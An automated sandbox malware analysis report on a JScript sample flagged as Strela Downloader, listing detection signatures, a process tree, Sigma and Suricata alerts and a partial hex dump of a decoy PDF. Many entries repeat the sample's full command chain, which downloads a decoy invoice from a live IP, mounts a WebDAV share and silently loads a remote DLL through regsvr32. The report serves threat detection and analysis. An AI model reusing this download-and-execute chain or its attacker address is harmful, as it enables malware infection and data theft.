Edit tour

Windows Analysis Report
22736232701915520651.js

Overview

General Information

Sample name:	22736232701915520651.js
Analysis ID:	1588794
MD5:	b548b655d29f7509dd1a83eef19c235e
SHA1:	ad4ac718e4019597ec9a3414bbe3f8320fdb4f8b
SHA256:	d32a95f48f7f8e6f3af8bbbf025608fa1e2ee0a4bb335d150a7301a209dd5f26
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7364 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3192 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7744 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6256 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7664 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7556 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1560,i,1449235303632292293,8659410901533919089,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1256 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 8156 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4444 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7364	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3192, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7744, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3192, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7744, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ProcessId: 7364, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 8156, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49757

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7364, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ProcessId: 3192, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7364, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ProcessId: 3192, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7364, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ProcessId: 3192, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7364, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ProcessId: 3192, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7364, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ProcessId: 3192, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ProcessId: 7364, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3192, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7744, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1256, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8156, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4444, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1256, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 8156, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7364, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll, ProcessId: 3192, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:35:35.145572+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49739	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:35:38.194248+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49757	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T05:35:35.145572+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49739	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 22736232701915520651.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 22736232701915520651.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 22736232701915520651.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49739 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49757 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:35:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

